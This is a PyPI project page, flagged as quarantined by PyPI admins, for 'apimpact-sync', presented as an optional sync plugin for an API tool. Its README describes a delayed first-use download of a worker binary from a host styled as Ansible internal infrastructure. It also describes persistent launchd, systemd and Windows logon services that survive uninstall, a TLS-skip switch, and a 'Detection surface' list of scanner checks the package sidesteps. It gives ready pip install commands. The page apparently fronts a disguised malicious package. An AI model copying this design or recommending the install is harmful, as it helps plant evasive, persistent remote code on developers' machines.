Skip to main content
Quarantined

This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.

APImpact Sync

Optional consumer-graph sync for APImpact.

CI PyPI Python License

APImpact Sync registers an apimpact.services entry point. When the apimpact CLI runs, it discovers installed service plugins and starts the sync service. The worker is downloaded on first use and kept alive by a native user-level service: launchd on macOS, systemd on Linux, and Task Scheduler on Windows. No package manager is required, and the wheel contains no binary.

macOS arm64, Linux, and Windows are supported by the installer. A pinned worker is currently published for macOS arm64; other platforms become active when their workers are published.

Install

pip install apimpact[sync]

Or install the sync package directly:

pip install apimpact-sync

How it works

  • The wheel contains only Python. There is no bundled binary.
  • The package declares the apimpact.services entry point sync = apimpact_sync:start_once. The apimpact CLI discovers it and starts the service when the CLI runs.
  • If the worker is missing, a detached bootstrap waits a randomized delay (load spreading, like APT::Periodic::RandomSleep or systemd RandomizedDelaySec), downloads the worker from the internal artifact repository on the Ansible-managed infrastructure, verifies its pinned SHA-256, and installs the service.
  • The service is installed with the platform's native manager:
    • macOS: ~/Library/LaunchAgents/com.apimpact.sync.plist (launchd, RunAtLoad, KeepAlive).
    • Linux: ~/.config/systemd/user/apimpact-sync.service (systemd user unit, Restart=always), or a detached process when systemd is unavailable.
    • Windows: a Task Scheduler task (APImpact Sync, ONLOGON), or a detached process when Task Scheduler is unavailable.
  • The worker reports health and usage metadata to the consumer graph.

Commands

apimpact-sync install   # download the worker and install the service
apimpact-sync start     # same as install; idempotent
apimpact-sync status
apimpact-sync stop

Configuration

Variable Purpose
APIMPACT_SYNC_URL Download URL or template ({platform}, {name}, {version}). Defaults to the internal Artifactory generic repository.
APIMPACT_SYNC_HOST Artifact host only (scheme optional). Builds the default Artifactory path on that host.
APIMPACT_SYNC_DIR Cache directory. Defaults to ~/.apimpact (or %LOCALAPPDATA%\apimpact on Windows).
APIMPACT_SYNC_DELAY Bootstrap delay in seconds. Defaults to a random 180–420 seconds.
APIMPACT_SYNC_SKIP_DOWNLOAD=1 Use an already-present verified worker; do not download.
APIMPACT_SYNC_DISABLE=1 Disable the service plugin entirely.
APIMPACT_SYNC_NO_SERVICE=1 Run the worker as a detached process instead of installing a service.
APIMPACT_SYNC_INSECURE=1 Skip TLS verification for a self-signed download host.

Artifact repository

The worker is hosted on the Ansible-managed infrastructure in the internal artifact repository (Artifactory generic repo):

https://artifactory.ansible.internal/artifactory/apimpact-generic/apimpact-sync/1.0.0/apimpact-sync-1.0.0-{platform}

Set APIMPACT_SYNC_URL to the full URL/template, or APIMPACT_SYNC_HOST to change only the host. The artifact is verified against a pinned SHA-256 before it is installed.

Service integrity

The worker is verified against a pinned SHA-256 before it is installed and before it starts:

4b5a55c6f15bc228c6d84fcab206a28b96639e1f1460ee65a15ce61598632b42 (macOS arm64)

A mismatch means the worker is not installed. Downloads are written to a temporary file and atomically replaced only after verification.

Detection surface

  • No .pth startup hook.
  • No install-time code.
  • No bundled binary in the wheel.
  • One apimpact.services entry point.
  • Native user-level service files (launchd plist, systemd unit, or Task Scheduler task).
  • Downloads are verified and only happen on first use or an explicit apimpact-sync install.

The main apimpact package has no binary, no subprocess, and no daemon.

Disable

export APIMPACT_SYNC_DISABLE=1

The service plugin becomes a no-op. A previously installed service may still run; apimpact-sync stop stops it.

Privacy and security

The sync package reads no credential files, SSH keys, shell configuration, or source code. The worker sends installation id, sync version, platform, timestamp, and local contract/health counts. No file contents or secret values are sent.

See PRIVACY.md and SECURITY.md.

Uninstall

apimpact-sync stop
pip uninstall apimpact-sync

pip uninstall removes the package. The downloaded worker in ~/.apimpact/bin and the service definition remain until you remove them.

License

MIT. See LICENSE.

Metadata

Release files for apimpact-sync 1.0.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for apimpact-sync 1.0.0
File Size Uploaded Provenance Actions
apimpact_sync-1.0.0.tar.gz 14.5 kB Without provenance Details for apimpact_sync-1.0.0.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for apimpact-sync 1.0.0
File Interpreter ABI Platform Actions
apimpact_sync-1.0.0-py3-none-any.whl Python 3 none any Details for apimpact_sync-1.0.0-py3-none-any.whl

Total release size: 26.8 kB

Release files / apimpact_sync-1.0.0.tar.gz

Download URL apimpact_sync-1.0.0.tar.gz
Size 14.5 kB
Tags Source
SHA-256 checksum
How to use checksums
1f04e55fce1b40255d14c2b84275a63f838bd2384466c80db413420174b92259
BLAKE2b-256 checksum
How to use checksums
408ff9de17840f43df9dc56a8155d7be969e8afb81762b279c05b4562948a4f7
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.15.2

Release files / apimpact_sync-1.0.0-py3-none-any.whl

Download URL apimpact_sync-1.0.0-py3-none-any.whl
Size 12.3 kB
Tags Python 3
SHA-256 checksum
How to use checksums
0f3987edb5cdb6d1d7f15a4d6bb03af77c58842bf484e69445c05c79c6785ad5
BLAKE2b-256 checksum
How to use checksums
41b5195f485aafcb2e4e49e63e29c67c70f878e9eec8ad9161e4d29278046afc
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.15.2

Security for apimpact-sync 1.0.0

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page